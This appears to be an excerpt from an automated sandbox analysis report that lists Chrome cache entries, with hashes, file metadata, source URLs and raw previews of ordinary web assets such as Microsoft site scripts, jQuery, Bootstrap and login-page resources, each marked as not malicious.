Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	406
Entropy (8bit):	4.645093417199183
Encrypted:	false
SSDEEP:	12:M9BAG1/qAT9BAs1/qKdDYT9BAR6T9BAOk/CMRZcJfRDZ:M9p/qS91/qfT9J9yRC5N
MD5:	F9F2395C582FA601707B7A5DFAE9F05F
SHA1:	27B15AECD0BFDD3B25556AC00755856D4D331E0D
SHA-256:	D7D6D06624D4BDF6935B848DF342CE322D02B58D12BF12149DF92D557E5E9BC4
SHA-512:	F3378927D96B0B172981A821A8C2A16D0F397ED92E835B7C46316FC48350402D972A5411F0FA4C260F205AA1F7917F83F8247BF8A62C7F22E0076B168275B1E9
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-uhf.min.ACSHASHf9f2395c582fa601707b7a5dfae9f05f.css
Preview:	.c-uhfh .c-action-trigger.glyph-shopping-cart span:not(.shopping-cart-amount),.c-uhfh .c-action-trigger.glyph-shopping-bag span:not(.shopping-cart-amount){line-height:48px !important}..c-uhfh .c-action-trigger.glyph-shopping-cart:after,.c-uhfh .c-action-trigger.glyph-shopping-bag:after{line-height:43px}..c-uhfh.c-sgl-stck .c-search button{line-height:18px}..msame_Header_name{line-height:44px !important}

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	downloaded
Size (bytes):	138268
Entropy (8bit):	5.224497765711851
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7CisuMK/xw/:1f4Hu1I+Tw/
MD5:	5B85413B96AF340238B93068CDB641FB
SHA1:	D949C985DF4F80FAB0CF036A1DD86C63CA342F1F
SHA-256:	1B448C19C6DF1F2D15399A710A73BB3EC0C5233B571CDFAE9CCA315E6E13FB85
SHA-512:	5B7E26BB4C72A8D8EE6CD20EEEA354ADD396F74289BD3E42CD1D6C8A5D3FA1B190CC62B953CAF4FA38EFDA0983F90F937276C8797EB2E1BADC11F9F5161117CE
Malicious:	false
URL:	https://www.microsoft.com/onerfstatics/marketingsites-neu-prod/shell/_scrf/js/themes=default/54-af9f9f/d4-fb1f57/e1-a50eee/e7-954872/d8-97d509/f0-251fe2/46-be1318/77-04a268/11-240c7b/63-077520/a4-34de62/f9-a5b2ce/db-bc0148/dc-7e9864/6d-c07ea1/6f-dafe8c/f6-aa5278/73-a24d00/6d-1e7ed0/b7-cadaa7/c4-898cf2/ca-40b7b0/4e-ee3a55/3e-f5c39b/c3-6454d7/f9-7592d3/d0-e64f3e/92-10345d/79-499886/7e-cda2d3/58-ab4971/74-d51c79/e0-3c9860/de-884374/1f-100dea/33-abe4df/2b-8e0ae6?ver=2.0&_cf=02242021_3231&iife=1
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4204)
Category:	dropped
Size (bytes):	4377
Entropy (8bit):	5.559689478635027
Encrypted:	false
SSDEEP:	96:fmyBKAqK8GALbDdHx2YreRfMbSsYWjIvMAyAepEOHSQGw7TnK:f9qpG0tx2YreRfMbS8jIvMANepEOHSam
MD5:	AFC1984A3D17110449DC90CF22DE0C27
SHA1:	B5ABA40D65B0D6F85859DB47F757EA971A0EFD30
SHA-256:	83A8807EF669FA70D0D9375347F5552897F76C6AE8E2E6F97EF592595462D8D1
SHA-512:	A9656FADE32E1FD8B40EBBA070EB627F176D6550412F45FBE6BF58C1E5EC7421ED5D489D95CB70ECD5E0E4A54FDC84CFB6A6764B9EF9034C0592F812D9A9EA48
Malicious:	false
Preview:	/! Respond.js v1.4.2: min/max-width media query polyfill Copyright 2013 Scott Jehl. * Licensed under https://github.com/scottjehl/Respond/blob/master/LICENSE-MIT. * */..!function(a){"use strict";a.matchMedia=a.matchMedia\|\|function(a){var b,c=a.documentElement,d=c.firstElementChild\|\|c.firstChild,e=a.createElement("body"),f=a.createElement("div");return f.id="mq-test-1",f.style.cssText="position:absolute;top:-100em",e.style.background="none",e.appendChild(f),function(a){return f.innerHTML='<style media="'+a+'"> #mq-test-1 { width: 42px; }</style>',c.insertBefore(e,d),b=42===f.offsetWidth,c.removeChild(e),{matches:b,media:a}}}(a.document)}(this),function(a){"use strict";function b(){u(!0)}var c={};a.respond=c,c.update=function(){};var d=[],e=function(){var b=!1;try{b=new a.XMLHttpRequest}catch(c){b=new a.ActiveXObject("Microsoft.XMLHTTP")}return function(){return b}}(),f=function(a,b){var c=e();c&&(c.open("GET",a,!0),c.onreadystatechange=function(){4!==c.readyState\|\|200!==c.statu

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	downloaded
Size (bytes):	5529
Entropy (8bit):	7.95514518328613
Encrypted:	false
SSDEEP:	96:/hCpRVAqhJlGWPQXH0xeQysZT1rTr8Ps8RLTJ1ctq5/+XVGbN6obuwSuaGwEan:CRRh430/PdTrv8RtytveNjaGC
MD5:	6DEB44A9FE273266EFABC3214B998BA0
SHA1:	C8BE755694C25E416C81F5057670E3B14B2FE08F
SHA-256:	4A1AA3B8B23FB3C150A62BB681DAE96E6CAB20BFAFB89D74FED2E0BC85826BAF
SHA-512:	EBA11F91C3751574F82FBF82F81338761142ABC13B14534133A2986BEF2F2505125B648E1E991F79C1ACC731A9008F98C3F7937649533E7C4E59C2548D4E7452
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js
Preview:	...........[}w.F...?.b.(..c.i....8zI..k..f...$F.1.. ........$!..=.13w..s./>.w........u{g.=...u.....>h./{.F..xhS..7.6....9p...(.D..a..Q.\hS.L\|7.FI4.....$....._.X4.At..@.x...s.seZ.....!V..x..'..F.?..z.[..Ppm.z<..'.p.]..$..(..>...6.3..o.47..6..t...AfX..F.($8...= ...'..GDb<.iM..s.D....N..F.<.e.......M....t ...Sk.'wDb.h...M2K...... ..6N.X.o..s...S.....r.`......1..4.c...J....V....ED.7.........p......&i....p....F.C/...W...-.....\|..E...W.v5.....M]?...*s.........~....!........R.....~.A... v....C.S1.X\|.lZ.LL...._.f....h.f.ep.2a>..,G..,...d..G&....dn.....j$..uB.z...Y..x2.......rI. ...?...w<.y.b.vF..h...b..l......\....cq.S.u......'&...E..s.d..-).I.M]..0.;.....;~6K'....$.G....;.8..<_.;.O.]...;.}..[.cWDJ6z..l..H..'8~..6vj5........Q...I..X.Ww..vB.....{v..$...].......d..kAO#.G...0(.....Y..G.6k.%z.S..6....Qw...`H....)1.5.......M...}C..z...2...d.;5..(.!.....}.Y.!..0..n.a.`..'D..@../.N.\|w.OcH.];Z...k.....1g.4.f..t.'...........8i..<!...6M...p...

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	126
Entropy (8bit):	4.698100458149446
Encrypted:	false
SSDEEP:	3:agWHNApRBEBc2LGRFf7BcpcLItjNNN3Y67VMGbLGffDtMpMYMhen:QGULk7BcpcLItxNbmGeXpsZMI
MD5:	846036D371B8AAD220017D0AF9B56292
SHA1:	A43749483B26D03DA33E2AF19D4060BD185F105B
SHA-256:	A029E906A61B4FA234286EA21A804490C1612439C10E4EBA0334060F5B05F401
SHA-512:	72EEE6B7EA313F0545A27BAE7A97012D9EADE0A17D960F035126AD5425263B84E9DB477EBB078CC9C26380A72541DD6A3DE6468133DE248B4AF3FAD97699F21E
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/mlsd/components/content/print/v1/print/clientlibs/site.min.ACSHASH846036d371b8aad220017d0af9b56292.js
Preview:	'use strict';$(document).ready(function(){$(".print .print-btn").each((b,a)=>{$(a).on("click",function(){window.print()})})});

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113424
Category:	downloaded
Size (bytes):	20410
Entropy (8bit):	7.980582012022051
Encrypted:	false
SSDEEP:	384:8RvmaMFysnOXZ2m9zM+udO6GGUpeAU02oDGnN5EsQwWUQGTS8r2k:8pmm7ZFM+ObGGUIjN5PJV3Tp
MD5:	3BA4D76A17ADD0A6C34EE696F28C8541
SHA1:	5E8A4B8334539A7EAB798A7799F6E232016CB263
SHA-256:	17D6FF63DD857A72F37292B5906B40DC087EA27D7B1DEFCFA6DD1BA82AEA0B59
SHA-512:	8DA16A9759BB68A6B408F9F274B882ABB3EE7BA19F888448E495B721094BDB2CE5664E9A26BAE306A00491235EB94C143E53F618CCD6D50307C3C7F2EF1B4455
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
Preview:	...........}k..6..w...R..J.H=GSI..x.9...}T.....)Q..f<...~.F.h..x..{+.-.....h..n....</v.ev......W.,.bU..rW.I...0x...C..2...6]..W_......../x.........~.z.}.\|.#x......AgO.\|XgU...4 .^'U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.N...xJ...mR......0.@p...lKr/...E.-. .....\|l.4.o.i.......L.iF..T{.n....2....VEY.y=..=..T+V./.b....\....7.sH.w{.h.....!.."F.k.!.......d...mS.rh.&G.../..h&..RE"!.A/.......A....L...8.q.M...t[...R...>.6;R..^.Vu..9.[F........>A.:HT}w]......2........p......'T.^]}.^..yJ>.<..pq..h.\|..j....j.x..-...c...f...=".)..U.X'.M..l.]ZVtl\.I..}.0.~B0Y'.N...E.4.Xd..e...a.........."..9+d.&..l.$E..R.u.g.Q..w&...~I. .y..D.4;..'.."-.....b...)k.n.M...,3J.z_..&2f.h;.&.R.y..P..X.....\P.....r...B.$........<....H5.M.."'#.6mQl..mQ5.=.\...O.....^..jM..u.F..Oh.lNI..j..T..u...I..._........{.\...{..._\|..={O..z..>......x..5Q.D7?{...^...^.......o.=.z......v......z.C...Gtw...0!..M@....^...^.x..G....W...{...)..y.<c3...^>{......7._..'d__...;R.

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (728)
Category:	dropped
Size (bytes):	11405
Entropy (8bit):	5.337832455968521
Encrypted:	false
SSDEEP:	192:ei4mI8A10VNEHbnIB89tGRbvlG/bUgck7L8Dap8z+vRjQfymrQy1Zy1Gy1M+qmWW:eiy1F7nIB89tGRbvaUBvk8qjQfymrQy8
MD5:	FF9CACB22668C4F6174E0AF4A2BE89F9
SHA1:	EC9ED15001A3E13404660B6EA09F99C512E08882
SHA-256:	EF39A5CC6826231852FD8D60736867DA31E7E9036F3575B1DC4846DC6FB86A3B
SHA-512:	267064DCB16AB4B9B19756C2313CCB9E5B467A41427DE9BF46158A1C2231699EC43D51C2F201D97C02AFA31BF5011FF471035CF10C7DC6003299B86D85C52806
Malicious:	false
Preview:	'use strict';var UHFButton=$("header #c-uhf-nav-cta \x3e a");0<$("meta[name\x3d'blue-cta']").length&&UHFButton.addClass("blue-cta");UHFButton.css("visibility","visible");var mainLandmark=$("main"),rootNode=$(".root");0< !mainLandmark.length&&0<rootNode.length&&rootNode.attr("role","main");.function changeSupToAnchor(){try{var a="",b="",c=[];$("sup:not(.no-link)").each(function(){a=$(this).text();a=a.replace("*(","");a=a.replace(")","");c=a.split(", ");for(var e=0;e<c.length;e++)b+="\x3ca aria-label\x3d'Footnote "+c[e]+"' href\x3d'javascript:void(0);' class\x3d'c-hyperlink supBLink'\x3e\x3cspan class\x3d'supText'\x3e"+c[e]+"\x3c/span\x3e\x3c/a\x3e\x3cspan\x3e, \x3c/span\x3e";$(this).html(b);b=""});$("sup").find("span:last").remove();var d=$(".list-unstyled li a.superscript");d.attr("href",."javascript:void(0);");d.addClass("supLink");d.each(function(){0==$(this).find(".supFn").length&&$(this).wrapInner("\x3cspan class\x3d'supFn'\x3e\x3c/span\x3e")})}catch(e){console.log(e)}}.function n

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60356)
Category:	downloaded
Size (bytes):	60635
Entropy (8bit):	5.158710529058039
Encrypted:	false
SSDEEP:	768:WkN++EvGHWyOOY/uwAxOlU5iBNY5XPxyvTPBVRKwi/C9rfz7uxk6yH8Xae53XC7e:W0xY+t/Nhho1d76KV2O9Ed
MD5:	4800BCC26467D999F49B472F02906B8D
SHA1:	2C6C0A58345A09D3761230AF823A4E4852B12643
SHA-256:	DE040986D9A3ED89D5D5F9AD6D5727015E9E238C2CD13AF8F1B55909386D0864
SHA-512:	CA4675410AF4272FF8664BCABAA5A7E2217796A3D9CA28FD891BFAB06A8B45D4CF918EBD617EBEEF0BD51A6B1D05B8887CDFFC39DB08EC70018EF12893A668A5
Malicious:	false
URL:	https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.min.js
Preview:	/!. Bootstrap v5.3.3 (https://getbootstrap.com/). * Copyright 2011-2024 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e(require("@popperjs/core")):"function"==typeof define&&define.amd?define(["@popperjs/core"],e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).bootstrap=e(t.Popper)}(this,(function(t){"use strict";function e(t){const e=Object.create(null,{[Symbol.toStringTag]:{value:"Module"}});if(t)for(const i in t)if("default"!==i){const s=Object.getOwnPropertyDescriptor(t,i);Object.defineProperty(e,i,s.get?s:{enumerable:!0,get:()=>t[i]})}return e.default=t,Object.freeze(e)}const i=e(t),s=new Map,n={set(t,e,i){s.has(t)\|\|s.set(t,new Map);const n=s.get(t);n.has(e)\|\|0===n.size?n.set(e,i):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Arr

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (367), with no line terminators
Category:	dropped
Size (bytes):	367
Entropy (8bit):	4.9898089353102595
Encrypted:	false
SSDEEP:	6:Q3RnadmyWRLnadIrM9nadYErmC+LGI1nadmWYElnH0IASS3c7swWJ/cxGPvZ/c8e:cYdIRGdIg8dlHEGIUd4Eh0IA1cbWNb9u
MD5:	F81E446FAC9DB5FB37845DD4E069AE27
SHA1:	DE12C417D44EC6A6AC52D5D41BBB35CE8C9A2097
SHA-256:	CD4B2B854F0E1BF350B4E61D015794D0F33A0B187A0C78912085E4DB1CD65F0B
SHA-512:	E13DDEDB6117E516E4278E4F1B6AA80DD62EAF8966E64F5D45D452D85FE2AAD990D770101934BC12AA37B4CDF8D3B3B86DDBD116B53E7C1AE1BFD73AA9C18584
Malicious:	false
Preview:	'use strict';$(function(){var a=document.querySelector("#msChatContainer"),b=document.querySelector(".back-to-top.sticky"),c=document.querySelector(".fixed-back-to-top.fixed-sticky"),d=!(!document.querySelector("#storeassistantroot")\|\|!window.storeAssistantReactJsLib);a&&b&&!d&&$(b).addClass("pageHasChatContainer");a&&c&&!d&&$(c).addClass("pageHasChatContainer")});

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4204)
Category:	downloaded
Size (bytes):	4377
Entropy (8bit):	5.559689478635027
Encrypted:	false
SSDEEP:	96:fmyBKAqK8GALbDdHx2YreRfMbSsYWjIvMAyAepEOHSQGw7TnK:f9qpG0tx2YreRfMbS8jIvMANepEOHSam
MD5:	AFC1984A3D17110449DC90CF22DE0C27
SHA1:	B5ABA40D65B0D6F85859DB47F757EA971A0EFD30
SHA-256:	83A8807EF669FA70D0D9375347F5552897F76C6AE8E2E6F97EF592595462D8D1
SHA-512:	A9656FADE32E1FD8B40EBBA070EB627F176D6550412F45FBE6BF58C1E5EC7421ED5D489D95CB70ECD5E0E4A54FDC84CFB6A6764B9EF9034C0592F812D9A9EA48
Malicious:	false
URL:	https://ajax.aspnetcdn.com/ajax/respond/1.4.2/respond.min.js
Preview:	/! Respond.js v1.4.2: min/max-width media query polyfill Copyright 2013 Scott Jehl. * Licensed under https://github.com/scottjehl/Respond/blob/master/LICENSE-MIT. * */..!function(a){"use strict";a.matchMedia=a.matchMedia\|\|function(a){var b,c=a.documentElement,d=c.firstElementChild\|\|c.firstChild,e=a.createElement("body"),f=a.createElement("div");return f.id="mq-test-1",f.style.cssText="position:absolute;top:-100em",e.style.background="none",e.appendChild(f),function(a){return f.innerHTML='<style media="'+a+'"> #mq-test-1 { width: 42px; }</style>',c.insertBefore(e,d),b=42===f.offsetWidth,c.removeChild(e),{matches:b,media:a}}}(a.document)}(this),function(a){"use strict";function b(){u(!0)}var c={};a.respond=c,c.update=function(){};var d=[],e=function(){var b=!1;try{b=new a.XMLHttpRequest}catch(c){b=new a.ActiveXObject("Microsoft.XMLHTTP")}return function(){return b}}(),f=function(a,b){var c=e();c&&(c.open("GET",a,!0),c.onreadystatechange=function(){4!==c.readyState\|\|200!==c.statu

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	downloaded
Size (bytes):	116365
Entropy (8bit):	7.997737813291819
Encrypted:	true
SSDEEP:	1536:9IyZY3F6VvgB9lnrhw1h+WbhcNtrpUzwXkqGeKTgcao2AYvXMpclkcKAXWG8NYh:9BZ5hu91Nwz+trpGmkReMgcaQYXlkcjR
MD5:	2D3FBED6DDD719FCC1BFB500B612FCEC
SHA1:	CD91B795DDE806AC8A38E51CCB6E8BAD8E57DA1B
SHA-256:	B2566B646F02DF4CE30B05D8223B78130A719D4EC9E4794A0106C371ADE33CC7
SHA-512:	A870E514B325D6FDC4D154438A8DD333C7AB46E545C1B27AC4869D9F1D8594CA1CDC530F5E96C835220DDAD4E1CEF841673696978031B5237E783972AEE701D1
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js
Preview:	...........k[.H.(.}..[..-..c.0DFxHBz.I......O.a...#yt......k...J..&...........^.~...._..j...W;.8<.....]....m...~.}<.8~s.~=.(....qm.Oy.~....jaP......h.F^......\|oZ.G.M-...,...a..~..GW\|...L....N.(y...Z-..Cm......p.......?.5/.QmS..b^K...jw..8.}..Q.....!.o..8...&X.x-.Im.F.D..U;.....-.T.:...1........8Ka..M.L.ZZ'....>........x....v.S;.<...0J.I.0.G.....B.F..c.k.~....C.:...r..,.w.q~....q......#42V.q..f\|.kK...1o.mP.}.......N..n.w6.%^M.d.;...~2I.Z..fs...S/......F..=?...5....s..N.+.A.mx...j.T......?..W._p6.\|.}\|.{O.....2..`..._......g....j..xb^^...a.y.....s......4....q.Y..^T....X,.....m..~v,.....WP.U...:O".YoRX...7..S...zI.v.......mq.....E.,z.%....L\|.>.M.'i..ki3.u+.~...x.=...?6.%?.[.G.`Z=.$.w..4.."...R.1.k.\|..N.`......3...7.].'.E..).az......<a....4q..6.(..=~..........frk..?M#^Q.z..A..M.f.......S....s..d.e91._,zO.[X.......4.